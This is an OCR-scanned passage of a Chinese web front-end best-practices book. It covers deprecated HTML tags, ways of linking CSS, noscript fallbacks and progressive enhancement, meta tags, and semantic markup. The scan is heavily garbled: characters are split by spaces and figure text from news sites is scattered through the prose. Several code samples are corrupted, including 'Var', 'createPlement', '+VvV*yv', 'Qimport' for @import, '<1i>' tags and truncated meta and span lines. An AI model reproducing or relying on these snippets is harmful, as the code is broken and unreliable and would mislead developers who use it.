果 ， 可 以 通过 Javascript 代 码 来 实现 ， 并 且 效 果 会 更 好 ， 如 可 以 使 用 Query Marquee 插 件 [0]。 不 推荐 的 示例 如 下 : 











<!-- 不 推荐 代码 : 效果 不 佳 ， 并 且 存 在 浏览 器 兼容 问题 ， 不 推荐 使 用 ， 如 果 需 要 实现 这 样 的 效果 ， 可 以 通过 JavaScript 代 码 来 实现 ， 并 且 效 果 会 更 好 --> 
<blink>don't use it!</pblink> 
<marquee scrollamount=3 scrolldelay=100 >don't use it</marquee> 























(2) 让 HTML 标 签 具有 更 好 的 语义 












































不 推荐 使 用 <b> 和 <i> 显 示 黑 体 字 和 斜体 ， 推 荐 使 用 更 具有 语义 的 <strong> 和 <em> ， 如 果 单 纯 是 为 了 样式 ， 推 荐 用 CSS 样 式 定义 font-weight 和 font-style， 让 页 面 更 简洁 。 类 似 的 不 推荐 标签 还 有 
<s> 和 <strike> ， 这 两 个 标签 是 给 文字 添加 删除 线 的 ， 可 以 用 <del> 和 <ins> 来 代替 。 









































不 推荐 示例 : 





<!-- 不 推荐 代码 ， 无 语义 的 标签 ， 单 纯 设置 样式 --> 
<b>don't use it!</b> 

<i>don't use it!</i> 

<s> don't use it!</s> 

<strike>don't use it!</strike> 





推荐 示例 : 





<!-- 推 荐 代码 :使 用 具有 语义 的 标签 ， 如 果 单 纯 为 了 样式 ， 则 应 该 通过 CSs 来 设置 --> 
<strong>important</strong> 

<em>emphasize</em> 

<del>deleted</del> 

<ins>insert</ins> 














(3) 移 除 不 常用 的 HTML 标 签 



















































































此 类 标签 包括 acronym、applet、dir 等 ， 废 弃 的 原因 是 使 用 率 极 低 或 者 是 语义 有 歧义 ， 并 且 有 其 他 更 好 代替 方案 可 以 使 用 。 例 如 ， 表 达 缩 写 的 标签 <acronym > ， 其 语义 模糊 ， 开 发 者 更 常用 <abbr> 
来 代替; 开发 者 更 喜欢 使 用 <ul> 而 不 是 <dir>。 






































[1] https://github.com/aamirafridi/jQuery. Marquee 


3.5 ”样式 与 结构 分 离 











网 页 的 结构 、 表 现 和 行为 分 离 是 W3C 制 定 的 Web 页 面 标 准 的 精髓 ， 一 般 的 页 面 结构 和 表现 对 应 着 代码 中 的 HTML 和 CSS， 这 意味 着 在 页 面 中 HTML 和 CSS 分 离 是 符合 标准 的 做 法 。 在 讨论 页 面 中 HTML 和 
CSS 组 合 的 最 佳 实践 之 前 ， 先 来 简单 说 明 一 下 HTML 和 CSS 所 有 的 组 合 方式 。 








把 CSS 样 式 应 用 于 HTML 总 共有 4 种 方式 。 














(1) 在 HTML 页 面 中 链接 一 个 CSS 文 件 


























文件 以 link 的 形式 添加 到 <head> 部 分 ， 在 link 中 可 以 设置 media 属 性 来 表明 样式 使 用 的 场景 。 例 如 ，media 设 置 为 screen 表 示 正 常 浏览 时 的 CSS 样 式 ， 设 置 为 print 则 表示 页 面 打印 时 的 CSS 样 式 。 




















示例 代码 : 





<link rel="stylesheet" href="default.css" /> 
<link rel="stylesheet" href="print.css" media="print" /> 























这 种 模式 是 最 佳 实践 模式 ， 做 到 了 CSS 和 HTML 的 完美 分 离 。 如 果 需 要 修改 页 面 的 样式 ， 则 只 需要 修改 CSS 文 件 。 此 方式 最 大 的 优点 是 提高 了 性 能 。 当 多 个 页 面 共 用 一 个 相同 的 样式 时 ， 只 会 在 首 个 页 面 
访问 时 需要 下 载 CSS 文 件 ， 随 后 其 他 页 面 访问 则 只 需要 下 载 页 面 本 身 ，CSS 文 件 可 直接 从 缓存 中 取得 ， 不 用 再 次 从 服务 器 端 下 载 ， 从 而 提高 了 页 面 加 载 的 速 













































































尽 。 








(2) 在 HTML 页 面 中 内 赂 CSS 样 式 


























此 方式 是 把 CSSs 样 式 直接 内 嵌 到 HTML 页 面 <head> 中 ， 所 有 的 CSS 样 式 放置 在 style 标 签 中 ， 示 例 代码 : 























<style> 
body { } 
</style> 












































此 方式 虽然 也 做 到 了 CSS 和 HTML 的 分 离 ， 但 是 因为 CSS 和 HTML 放 置 到 了 同一 个 文件 中 ， 不 利于 样式 的 重用 ， 也 不 利于 多 人 维护 。 如 果 CSS 样 式 用 在 多 个 页 面 时 ，CSS 样 式 和 HTML 分 离 ， 可 以 利用 CSS 
文件 的 缓存 ， 提 高 多 个 页 面 整体 的 加 载 速 度 。 当 然 ， 此 方式 也 有 一 些 优点 ， 如 果 CSS 样 式 只 是 用 到 单一 的 页 面 ， 则 当 CSS 和 HTML 放 置 在 同一 个 页 面 ,会 减少 加 载 CSS 样 式 文件 的 请 求 数量 ， 加 快 页 面 加 载 速 
度 。 此 外 ， 在 一 些 动态 生成 页 面 的 场合 ， 比 如 ， 在 博客 系统 的 自 定义 页 面部 分 ， 将 CSS 和 HTML 放 置 在 一 起 ,方便 输出 和 生成 自 定义 页 面 。 新 浪 网 的 首页 正 是 把 脚本 和 样式 直接 放置 到 了 页 面 中 ， 提 高 了 页 盏 
加 载 速度 。 如 果 要 合并 CSS 和 HTML 代 码 ， 一 种 好 的 实践 是 : 在 开发 阶段 ， 将 CSS 和 HTML 放 置 于 单独 的 页 面 中 ， 方 便 后 续 开发 和 维护 。 当 代码 发 布 时 ， 通 过 工具 合并 CSS 和 HTML 代 码 ， 提 高 页 面 实际 运行 
时 的 性 能 。 








































































































































































































(3) 在 HTML 标 签 中 添加 内 联 CSS 样 式 








此 方式 是 样式 直接 添加 到 元 素 的 style 属 性 中 。 


示例 代码 : 





<span>green</span> 



































此 种 方式 非常 不 利于 页 面 的 维护 和 样式 的 重用 。 很 多 糟糕 的 页 面 都 是 因为 这 种 样式 内 嵌 在 元 素 中 而 导致 页 面 代码 庞大 ， 难 以 维护 。 这 种 方式 也 降低 了 页 面 的 可 用 性 ， 并 且 也 不 利于 搜索 引擎 对 页 面 的 识 
别 。 当 然 ， 此 方式 方便 于 通过 JavaScript 代 码 动态 更 改元 素 样 式 ， 如 通过 JavaScript 代 码 给 元 素 设置 display 样 式 值 为 none 来 控制 元 素 的 隐藏 。jQuery 框 架 中 也 通过 大 量 利 用 此 方式 来 给 元 素 动态 设置 样式 ， 
从 而 实现 一 些 动态 效果 。 
























































(4) 在 CSS 样 式 文件 中 加 载 CSS 样 式 文件 


示例 代码 : 





Qimport "mystyle.css"; 
Qimport url ("mystyle.css"); 












































这 种 方式 是 使 用 得 较 少 的 一 种 方式 。 每 当 看 到 前 端 性 能 相关 的 最 佳 实践 时 ， 总 能 看 到 一 条 : 不 要 使 用 @import。 此 方式 最 大 的 缺点 是 引用 的 CSS 文 件 不 能 同时 并 行 下 载 ， 这 样 延长 了 整个 页 面 的 下 载 过 


























程 ， 影 响 了 页 面 加 载 性 能 。 












































以 上 4 种 引用 CSSs 样 式 的 方式 中 ， 第 一 种 方式 是 作为 最 佳 实践 的 方式 推荐 使 用 ， 第 二 种 方式 可 以 在 某 些 场合 有 选择 地 灵活 使 用 ， 第 三 种 方式 应 避免 在 页 面 中 直接 使 用 ， 第 四 种 方式 在 任何 场合 都 应 该 避免 







































































3.6 ”添加 JavaScript 禁 用 的 提示 信息 

















作为 Web 编 程 语言 ，JavaScript 使 得 网 页 的 交互 更 丰富 ， 用 户 体验 更 好 。 大 部 分 网 页 都 会 使 用 JavaScript 开 发 页 面 上 的 一 些 交 互 功能 。 但 不 幸 的 是 ， 并 不 是 所 有 的 浏览 器 都 支持 JavaScript， 比 如 Kindle 
内 置 的 浏览 器 对 JavaScript 的 支持 就 很 弱 ， 并 且 一 般 的 浏览 器 也 会 提供 让 用 户 禁 用 JavaScript 的 选项 。 虽 然 目前 Javascript 不 起 作用 的 场景 很 少 了 ， 但 当 jJavascript 在 浏览 器 上 不 起 作用 时 ， 页 面 上 的 某 些 功 
能 会 不 能 正常 工作 ， 这 样 就 影响 这 些 少 部 分 情况 下 的 用 户 体验 。 如 果 开 发 的 模块 是 个 关键 的 模块 ， 就 需要 考虑 在 JavaScript 失 效 时 如 何 让 对 应 的 功能 正常 使 用 。 
































































































































最 常用 的 方式 是 使 用 <noscript> 标 签 。<noscript> 标 签 就 是 在 当 JavaScript 被 禁用 或 者 不 被 支持 时 提供 的 一 种 代替 方式 ， 即 <noscript> 标 签 中 的 内 容 会 在 此 时 被 浏览 器 解析 ， 作 为 JavaScript 不 可 用 时 
的 备 选 方案 。<noscript> 在 HTML4 中 引入 ， 并 在 HTML5 的 规范 中 继续 被 支持 。 在 HTML4 中 ，<noscript> 只 在 body 中 起 作用 ， 在 head 中 不 起 作用 ， 但 在 HTML5 中 则 允许 <noscript> 出 现在 head 中 。 相 比 
较 HTML4 规 范 中 的 定义 ，HTML5 规 范 中 的 定义 提高 了 <noscript> 标 签 使 用 的 灵活 性 。 



























































<noscript> 标 签 常规 的 用 法 是 当 JavaScript 不 可 用 时 显示 提示 信息 。 








示例 代码 : 


<script type="text/javascript"> 
// 一 些 操作 
</script> 
<noscript> 
<p> 浏 览 器 不 支持 JavaScript</p> 
</noscript> 





从 <noscript> 的 作用 来 看 ， 这 种 方式 很 不 灵活 ， 使 用 上 也 有 一 些 缺陷 : <noscript> 标 签 只 支持 HTML， 不 支持 XHTML， 并 且 只 能 作为 一 个 块 元 素 ; <noscript> 只 在 JavaScript 被 禁用 时 才 起 作用 ， 在 
Javascript 因 为 诸如 防火 墙 拦截 等 情况 下 不 可 用 时 ， 并 不 会 起 作用 ; <noscript> 也 并 不 能 很 好 地 解决 JavaScript 不 可 用 时 网 站 的 可 用 性 问题 ， 尤 其 是 对 于 大 量 使 用 JavaScript 及 AJAX 技 术 更 新 页 面 内 容 的 网 
站 。 下 面 来 看 看 W3C 对 此 的 态度 ， 如 下 是 从 W3C 官 网 上 摘录 的 一 段 话 [1]: 







































































The noscript element 1s a blunt Instrument. Sometimes, scripts might be enabled, but 
for some reason the page’s script might fail. For this reason, it’s generally better to 
avold using noscript, and to instead design the script to change the page from being a 


scriptless page to a scripted page on the fly. 





























大 概 的 意思 是 说 ，<noscript> 标 签 不 够 灵活 ， 有 些 时 候 JavaScript 不 可 用 并 不 是 因为 脚本 被 禁用 导致 的 。 因 此 ， 最 好 是 不 要 使 用 <noscript> 标 签 ， 而 是 更 改 设计 ， 让 页 面 从 无 脚本 模式 过 度 到 有 脚本 的 
模式 ， 即 从 不 支持 脚本 到 支持 脚本 的 渐进 增强 ， 从 而 保证 两 种 模式 下 页 面 都 可 用 。 如 下 是 给 出 的 示例 : 









































<form action="calcSquare.php"> 
<p> 
<label for=x>Number</label>: 
<input id="x" name="x" type="number"> 
</p> 
<input id="submit" type=submit value="Calculate Square"> 
<script> 
Var x = document .getElementById('x'); 
Var output = document .createPlement ('p'); 
output .textContent = 'Type a number; it will be squared right then!'; 
x.form.appendChild (output); 
Xx.form.onsubmit = function () { return false; } 
x.oninput = function () { 
Var V = x.valueAsNumber; 
output.textContent = + ' squared is ' +VvV*yv; 


Var submit = document .getElementById('submit'); 
submit .parentNode.removeChild (submit); 
</script> 
</form> 




















在 该 示例 中 ， 当 JavaScript 可 用 时 ， 在 客户 端 运行 JavaScript 代 码 计算 输入 值 的 平方 值 。 当 JavaScript 不 可 用 时 ， 把 输入 值 提交 到 服务 器 端 来 计算 输入 值 的 平方 值 。 这 个 示例 很 清晰 地 演示 了 JavaScript 
不 可 用 和 可 用 两 种 模式 下 ， 页 面 渐进 增强 的 设计 理念 。 





















































从 上 述 示例 中 可 以 看 出 ，W3C 也 意识 到 了 < noscript> 的 局 限 性 ， 并 给 出 了 推荐 的 方案 。 但 实际 的 项 目 中 很 少 有 网 站 的 设计 采用 这 一 方案 ， 不 过 ， 某 新 闻 网 站 很 好 地 采用 了 此 方案 ， 网 站 整体 做 到 了 
Javascript 脚 本 启用 时 的 渐进 增强 设计 。 图 3-3 显 示 网 站 脚本 禁用 时 的 效果 。 
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Home Footoall Formula1 


Latest Stories 


Cricket RugbyU RugbyL Tennis Golf Athletics 


» HORSE RACING Bronze Angel wins the Cambridgeshire Handicap at Newmarket 
。 RYDER CUP Latest score: Europe -5 USA - follow live text and radio commentary of the afternoon foursomes 


es FOOTBALL Live text and radio commentary of six Premier League games after Liverpoo| and Everton draw 1-1 


加 。CYCLING Live text and BBC TV coverage as Brtain's Lizze Armitstead goes for gold at the Road World Championships 
RUGBY UNION Latest Scores from the three Premlership matches taking place in England 
es TENNIS Britain's Andy Murray beats Juan Monaco 2-6 6-3 6-0 to reach the Shenzhen Open final 


Ryder Cup - Europe 672-52 USA | LIVE 


Live text and radio as the United States fight back against Europe on 
day two of tne Ryder Cup at Gleneagles. 


图 3-3 ”脚本 禁用 时 ， 菜 新 闻 网 站 部 分 内 容 展 示 效 果 





SPORT 


Home Football 


Formula1 Cricket Rugby U Tennis 


Saturday's 
Scottish Premiership 
FOOTBALL 


Ryder Cup: Latest 
5Cores & schedule 
GOLF 


图 3-4 是 脚本 启用 时 的 显示 效果 ， 可 以 看 到 ， 当 脚本 可 用 时 ， 整 个 新 闻 列 表 按 照 类 型 显示 并 拥有 了 一 个 幻灯 播放 效果 。 


Golf Aihletics Cycling 


TENNIS Britaim's Andy Murray beats Juan Monaco 2-6 6-3 6-0 to reach the Shenzhen Open final 


mentary as 


图 3-4 脚本 启用 时 ， 某 新 闻 网 站 部 分 内 容 展示 效果 
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FOOTBALL 
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Murray into first final in 
15 months 


Final Score, live radlo and text 
commentary of today's games 


Briton Murray reaches first 


final for 15 moniths 
TENNIS 
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DOSPORT 


Footoall Focus for 
BBC World News 


Seven years until London 
Jaguars? Rams? 月 25 





Video and text as 
Armitstead goes for gold 


三 All Sport 


NFL stars take Great 
British Quiz 


Incognkto refs, Iranm's 
Irish hero & ltaly's 


该 网 站 首先 按照 静态 网 页 的 布局 设计 了 新 闻 的 文字 图 片 列 表 ， 然 后 在 如 上 显示 的 脚本 中 按照 新 闻 类 别 分 别 添加 了 类 别 标题 ， 并 构建 了 新 闻 的 滚动 幻灯 播放 效果 ， 很 巧妙 地 实现 了 脚本 启用 时 的 渐进 增强 





设计 。 





尽管 有 上 述 新 闻 网 站 等 这 样 成 功 的 案例 ， 但 是 在 实际 的 情况 中 ， 一 般 还 是 很 难 设 计 出 合理 的 渐进 增强 效果 ， 并 且 在 大 部 分 网 站 的 使 用 过 程 中 JavaScript 脚 本 不 可 用 的 情况 只 占 很 小 的 比例 ， 考 虑 到 上 述 





应 该 如 何 应 对 JavaScript 不 可 用 的 状况 呢 ? 





最 佳 的 实践 是 ， 提 示 用 户 JavaScript 已 被 禁用 ， 并 同时 提供 一 个 功能 简单 、 不 依赖 于 JavaScript 的 代替 网 站 供 
不 依赖 于 脚本 的 移动 站 点 作为 代替 的 站 点 ， 图 3-5 给 出 了 浏览 器 禁用 脚本 时 BBC 网 站 的 展示 效果 。 


























原因 ， 推 荐 的 做 法 是 在 技术 实现 的 代价 和 网 站 的 可 用 性 之 间 做 一 个 平衡 。 但 可 以 肯定 的 是 ， 针 对 JavaScript 被 禁用 的 客户 端 不 做 任何 相应 的 设计 是 不 专业 的 做 法 ， 降 低 了 网 站 的 可 用 性 。 那 么 实际 的 项 目 中 











户 继续 浏览 ， 做 到 平稳 降级 。 如 在 首页 中 ， 当 脚本 不 可 用 时 会 提示 用 户 ， 同 时 会 提供 一 个 


























For a better experience on your device, try our mobile site. 


四 回回 Q escn Menu ~ 





图 3-5 BBC 网 站 在 脚本 禁用 时 的 展示 效果 


当然 ， 也 可 以 直接 跳 转 到 一 个 不 依赖 脚本 的 代替 页 面 中 。 图 3-6 是 百度 首页 在 禁用 脚本 时 的 做 法 。 
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图 3-6 百度 首页 在 脚本 禁用 时 使 用 的 代替 网 页 


为 了 做 到 禁用 脚本 时 页 面 自动 跳 转 ， 百 度 首页 中 添加 了 如 下 的 代码 : 





<noscript><meta http-equiv="refresh" content="0; url=/baidu.html from=noscript"/></noscript> 





为 了 使 得 页 面 在 脚本 不 可 用 时 还 能 正常 展示 ， 可 能 需要 针对 部 分 模块 设置 区 别 脚本 的 禁用 和 启用 时 页 面 的 不 同 风格 。 常 用 的 方式 是 给 页 面 的 HTML 标 签 添加 一 个 名 为 no-js 的 class， 并 在 脚本 中 添加 移 除 
此 class 的 逻辑 。 在 样式 代码 中 可 以 这 样 设置 不 同 状态 下 的 样式 : 








/* 脚本 启用 时 对 应 的 样式 */ 
.Product { 


} 
/* 脚本 不 可 用 时 ， 通 过 覆 六 以 上 定义 的 样式 或 者 添加 额外 的 样式 来 设置 不 同 的 外 观 */ 


.no-js .product { 





[1] http://www.w3.org/TR/html5/the-noscript-element.html#the-noscript-element 


3.7 ”添加 必要 的 <meta> 标 签 
<meta> 标 签 放置 在 HTML 页 面 的 head 中 ， 主 要 用 于 标识 网 站 。 其 中 基本 上 包含 了 网 站 的 一 些 描述 信息 ， 如 简介 、 作 者 等 。 这 些 信息 有 助 于 搜索 引擎 更 准确 地 识别 网 页 的 内 容 ， 也 有 助 于 第 三 方 工具 抓 
取 网 站 基本 信息 。 


按照 W3C 的 标准 介绍 ，<meta> 元 素 有 4 个 属性 : name、http-equiv、content 和 charset。< meta> 标 签 通过 name 属 性 来 表述 页 面 文档 的 元 信息 ， 通 过 http-equiv 属 性 设置 HTTP 请 求 指令 ， 通 过 
charset 设 置 页 面 的 字符 编码 。 按 照 属性 设置 分 类 ，< meta> 可 以 分 为 三 类 : 








(1) name 属 性 和 content 属 性 组 合 ， 构 成 名 称 / 值 对 ， 用 于 描述 网 站 信息 




















这 是 <meta> 标 签 最 主要 的 功能 之 一 ， 使 用 广泛 。 标 准 的 <meta> 名 称 包括 : application-name、author、description、generator 等 。 





示例 代码 : 





<! 一 页 面 关键 字 --> 
<meta name="keywords" content="british, typeface, font, fonts" /> 















































此 类 型 meta 使 用 最 广泛 ， 其 中 keywords 和 description 这 两 个 名 称 的 使 用 率 最 高 ， 是 搜索 引擎 优化 的 主要 手段 之 一 ， 推 荐 读者 使 用 。 设 置 keywords 和 description 这 两 个 meta 时 ， 尽 量 使 用 简洁 和 语义 
明确 的 词语 ， 下 面 的 示例 展示 的 是 某 新 闻 网 站 设置 的 application-name、keywords 和 description 对 应 的 meta 信 息 : 





















































<meta name="application-name" content="BBC"/> 
<meta name="description" content="Breaking news, sport， TV, radio and a whole lot more. The BBC informs, educates and entertains - wherever you are, whatever your age." /> 
<meta name="keywords" content="BBC, bbc.co.uk, bbc.com, Search, British Broadcasting Corporation, BBC iPlayer, BBCi" /> 











(2) http-equiv 属 性 和 content 属 性 组 合 ， 设 置 特定 的 HTTP 指 令 








根据 W3C 制 定 的 HTML5 规 范 ， 指 令 型 meta 总 共有 5 种 ， 其 中 content-type、default-style 和 refresh 已 经 确定 ，content-language 和 set-cookie 还 未 正式 确定 。 


示例 代码 : 





<! 一 页 面 加 载 5 分 钟 后 刷新 --> 
<meta http-equiv="refresh" content="300" /> 























此 类 型 meta 应 该 谨慎 使 用 。<meta http-equiv= "content-type"> 可 以 使 用 下 面 介绍 的 更 简洁 的 方式 代 蔡 。 不 推荐 使 用 <metahttp-equiv= "refresh" > ， 某 些 搜索 引擎 遇 到 此 meta 时 会 停止 解析 页 
剩余 的 部 分 。<metahttp-equiv= "default-style"> 在 实际 的 场景 中 很 少 使 用 。 




















对 









































(3) charset 属 性 ， 设 置 页 面 字符 编码 








此 属性 功能 单一 ， 提 供 了 一 种 保存 和 传输 文档 的 编码 格式 。 





<! 一 声明 文档 为 UTF-8 格 式 --> 
<meta charset="utf-8"> 








这 是 在 HTML5 中 新 加 入 的 meta 类 型 ， 在 HTML5 的 规范 中 ， 如 下 两 种 页 面 编码 设置 是 等 价 的 。 

















<meta http-equiv='Content-Type' content='Type=text/html; charset=utf-8'> 
<meta charset='"'utf-8'> 














代码 中 的 第 二 种 形式 更 简洁 好 记 ， 并 且 得 到 了 所 有 主流 浏览 器 的 支持 (尤其 是 IE 8、IE 7 和 IE 6) ， 所 以 不 存在 浏览 器 兼容 问题 ， 推 荐 在 设置 页 面 编 码 时 使 用 。 为 了 让 浏览 器 能 准确 识别 编码 格式 ， 务 必 
在 <title> 标 签 之 前 设置 charset， 保 证 标题 能 正确 显示 ， 示 例如 下 : 

















<head> 
<meta charset="utf-8"> 
<title>My home page</title> 
</head> 

















以 上 介绍 了 三 种 规范 中 定义 的 meta 格 式 ， 如 果 想 要 了 解 更 详细 的 内 容 ， 可 以 参考 W3C 的 规范 ， 规 范 中 很 详细 地 描述 了 meta 的 种 类 及 其 作用 。 

















除了 规范 中 定义 的 这 些 meta 之 外 ， 还 有 大 量 的 自 定义 meta 类 型 。 这 些 meta 类 型 主要 是 由 互联 网 公司 或 者 浏览 器 厂商 为 了 实现 特定 的 功能 而 定制 的 ，W3C 规 范 中 允许 自 定义 meta 类 型 ， 但 为 了 防止 自 
定义 的 meta 名 称 重 复 ， 所 有 的 自 定义 meta 应 该 事先 注册 。 目 前 已 经 有 很 多 注册 的 自 定义 meta， 以 及 一 些 厂商 自 定义 名 称 [和 自 定义 的 指令 让。 这 些 自 定义 的 meta 并 不 能 通过 W3C 提 供 的 标准 校 验 ， 但 并 
不 是 说 这 些 meta 不 标准 。 下 面 介绍 一 些 常用 的 meta。 














(1) 设置 |E 浏 览 器 的 兼容 模式 





从 IE 8 浏览 器 开始 支持 一 种 设置 页 面 兼 容 模式 的 meta 类 型 ， 示 例 代码 如 下 : 





<meta http-equiv="X-UA-Compatible" content="IE=8"/> 











根据 HTML 规 范 ， 浏 览 器 是 按照 页 面 开 头 定义 的 文档 类 型 来 解析 页 面 的 。 例 如 ， 使 用 HTML5 的 文档 类 型 声明 : 

















<!DOCTYPE html> 











IE 就 会 以 标准 模式 解析 HTML 文 档 。 但 是 某 些 已 有 页 面 由 于 各 种 原因 不 能 在 最 新 标准 模式 下 正确 显示 ， 只 支持 特定 的 标准 。 针 对 这 种 状况 ，IE 浏 览 器 提供 了 一 种 兼容 的 方案 ， 通 过 设置 X-UA-Compatible 指 
定 页 面 在 IE 浏览 器 中 泻 染 时 执行 的 标准 。 在 IE 浏览 器 中 ， 此 设置 的 优先 级 高 于 通过 DOCTYPE 设 置 的 文档 标准 。 有 关 此 meta 的 具体 使 用 方式 可 参考 微软 公司 网 站 中 的 相关 介绍 趾 。 在 实际 的 项 目 中 应 该 谨慎 
使 用 此 方式 ， 当 在 IE 浏 览 器 中 出 现 兼容 问题 时 ， 最 好 的 做 法 是 修改 页 面 ， 编 写 规范 的 HTML 代 码 ， 让 页 面 支持 最 新 的 标准 ， 而 不 是 设置 |E 的 兼容 模式 。 













































































此 设置 还 有 一 种 常见 的 设置 值 ， 即 : 





<meta http-equiv="X-UA-Compatible" content="chrome=1"> 








很 疑惑 吧 ，|E 定 义 的 meta 为 什么 会 出 现 chrome 呢 ? 其 实 设置 为 chrome=1 时 ， 则 会 在 IE 9 及 以 下 浏览 器 中 激活 Chrome Frame 欠 ， 强 制 |E 使 用 Chrome Frame 演 染 页 面 。 














(2) 设置 页 面 在 移动 设备 中 的 显示 





一 般 针 对 移动 设备 优化 的 网 页 都 会 添加 如 下 一 条 mata 设 置 ， 使 得 网 页 在 移动 设备 中 显示 正常 ， 设 置 的 代码 类 似 如 下 的 代码 语句 : 











<meta name="viewport" content="width=device-width, initial-scale=1， maximum-scale=1" /> 





在 后 面 讨论 移动 设备 的 前 端 开发 时 ， 会 详细 解释 此 设置 的 来 龙 去 脉 以 及 在 不 同 的 场景 中 如 何 正确 设置 viewport。 








(3) 设置 |E 浏 览 器 的 “固定 网 站 ”功能 




















这 是 IE 浏览 器 的 独 有 功能 ， 是 从 IE 9 开始 支持 的 ， 它 能 够 将 网 站 如 同 应 用 程序 一 样 固定 在 Windows Vista 及 以 上 版 本 系统 的 任务 栏 中 ， 并 且 在 点 击 图 标 后 显示 网 站 相关 的 菜单 列表 。 此 功能 可 以 通过 定义 
网 页 meta 来 实现 ， 如 下 代码 用 于 展示 人 人 网 上 首页 中 添加 的 meta 定 义 。 


























<meta name="msapplication-task" content=" name- 新 鲜 事 ; action-uri=http://www.renren.com/home;icon-uri=http://a.xnimg. cn/n/res/icons/newsfeed. et 
<meta name="msapplication-task" i=http://blog.renren.com; icon- Uri=http: CLs xnimg. cn/n/res/icons/blog.ico" 2 

<meta name="msapplication-task" content=" =http://photo.renren.com;icon-uri=http://a.xnimg.cn/n/res/icons/photo.ico" /> 

<meta name="msapplication-task"” content="name= 音 乐 ;action-uri=http://music.renren.com;icon-uri=http://a. xnimg. cn/n/res/icons/music.ico" /> 

<meta name="msapplication-task" content="name=’ -分 享 ;action- -uri=http://share.renren.com;icon-uri=http://a.xnimg.cn/n/res/icons/share.ico" /> 

<meta name="msApplication-ID" content="App" /> 

<meta name="msApplication-PackageFamilyName" content="57722RenRenpreview. 

RenrenHD fknrsfzqcaljw" /> 

























添加 到 系统 的 任务 栏 后 的 效果 如 图 3-7 所 示 ， 可 以 看 到 在 图 标 上 单 击 右键 后 弹出 的 快捷 菜单 中 包含 有 5 项 定义 的 菜单 项 ， 单 击 这 些 菜单 项 则 可 以 跳 转 到 对 应 的 页 面 中 。 
























































各 Start InPrivate Browsing 


和 人 人 网 中 国 领 先 的 实名 制 SNS 社 交 网 络 。 加 入 人 人 网 ， 找 到 老 同学 ， 结 识 新 朋友 。 
好 Unpin this program from taskbar 





图 3-7 人 人 网 网 站 定义 的 网 站 导航 菜单 





如 果 想 更 深入 地 了 解 具体 如 何 设置 对 应 的 meta 来 实现 此 功能 ， 则 可 以 参考 微软 公司 提供 的 详细 文档 [6]。 


以 上 就 是 在 页 面 的 meta 信 息 中 使 用 较 多 的 设置 ， 随 着 移动 设备 的 兴起 ， 出 现 了 很 多 针对 移动 设备 的 meta 信 息 ， 比 如 针对 iOS、Android 及 Windows 8 系统 的 meta 信 息 ， 这 部 分 内 容 将 在 后 面 章节 中 介 
绍 Web 移 动 开 发 相关 最 佳 实践 时 进行 详细 讨论 。 


[1] http://wiki.whatwg.org/wiki/MetaExtensions 

[2] http://wiki.whatwg.org/ wiki/PragmaExtensions 

[3] http://msdn.microsoft.com/en-us/library/jj676917 (v=vs.85) .aspx 

[4] http://www.google.com/chromeframe?hl=zh-CNé&prefersystemlevel=true 
[5] http://www.renren.com 


[6] http://msdn.microsoft.com/zh-cn/library/ie/gg491725 (v=vs.85) .aspx 


第 4 章 ”高 可 读 性 的 HTML 


4.1 HTML 语 义 化 








什么 是 HTML 的 语义 ? 直观 地 说 ,就 是 HTML 的 含义 ， 从 HTML 代 码 中 使 用 的 标签 本 身 就 可 以 说 明 标 签 包含 内 容 的 含义 ， 比 如 使 用 <H1> 标 签 ， 则 指 代 包含 的 内 容 是 标题 。HTML 标 签 语义 化 是 Web 网 页 
标准 化 的 重要 一 环 ， 也 是 标准 制定 时 重要 的 设计 原则 。HTML5 中 新 增加 的 很 多 标签 (如 <article>、<nav>、<header> 和 <footer> 等 ) 都 是 基于 此 类 设计 原则 。 标签 语义 化 的 优点 很 明显 ， 标 签 语 
化 使 得 诸如 搜索 引擎 以 及 第 三 方 内 容 抓 取 工具 等 更 容易 读 懂 页 面 代码 。 机 器 不 会 关注 页 面 实际 泻 染 的 外 观 ， 只 会 关注 页 面 内 容 本 身 ， 页 面 泻 染 的 美观 与 否 对 机 器 识别 毫 无 帮助 。 标 签 语义 化 也 提高 了 页 面 代 
码 的 可 读 性 ， 可 利于 代码 阅读 者 理解 代码 对 应 的 模块 。 那 么 具体 什么 样 的 页 面 才 是 高 语义 化 的 页 面 呢 ? 浏 览 器 会 对 语义 化 的 标签 设计 默认 的 样式 ， 因 此 ， 从 页 面 展 示 的 外 观 上 来 说 ， 高 语义 化 的 页 面 就 是 去 
掉 CSS 样 式 后 页 面 仍 能 保持 良好 的 外 观 ， 并 且 可 正常 阅读 。 从 代码 角度 来 说 ， 高 语义 化 的 页 面 就 是 在 页 面 代码 中 尽量 使 用 合适 的 语义 化 标签 。 






































































































































下 面 使 用 一 个 例子 来 说 明 如 何 构建 一 个 语义 化 的 页 面 。 假 设 要 实现 如 图 4-1 所 示 的 工具 栏 。 














如 果 仅仅 是 实现 这 样 的 外 观 ， 使 























图 4-1 网 页 工具 栏 效果 图 


下 面 的 HTML 代 码 再 加 上 合适 的 CSS 样 式 就 可 以 达到 要 求 。 


<div id="reader main action" class="reader-main-action"> 


<span class=" 
<span class=" 


<span class="reader-action-toc "></span> 


<span class=" 


<span class="reader-action-note"></span> 


<span class=" 
<span class=" 


</div> 


reader-action-library"></span> 
reader-action-spliter">|</span> 


reader-action-spliter">|</span> 


reader-action-bookmark"></span> 
reader-action-highlight"></span> 


























上 面 的 实现 方式 是 一 种 常见 的 实现 方式 ， 但 从 标签 语义 的 角度 来 看 ， 不 推荐 此 实现 方式 。 代 码 中 所 使 用 的 <div> 和 <span> 标 签 是 最 没有 语义 的 两 个 标签 。 要 做 到 标签 语义 化 ， 首 先 要 尽量 少 使 
和 <span> 这 两 个 标签 ， 在 使 用 这 两 个 标签 时 尽量 能 找到 更 有 语义 的 标签 来 代替 。 


























再 来 看 看 第 二 种 实现 方式 。 从 需求 来 看 ， 这 是 一 个 包含 5 个 无 序 操作 项 的 工具 栏 ， 因 此 ， 应 该 使 用 符合 语义 的 <ul> 标 签 ， 代 码 如 下 : 











<div> 





<ul id="reader main action" class="reader-main-action"> 
<1i class="reader-action-library"></1i> 
<1i class="reader-action-spliter">|</1i> 


< 





reader-action-toc"></1i> 


<li class="reader-action-spliter">|</1i> 
<li class="reader-action-note"></1i> 

<1i class="reader-action-bookmark"></1i> 
<1i class="reader-action-highlight"></1i> 


</ul> 





第 二 种 方式 比 第 一 种 方式 有 所 改进 ,使 




































































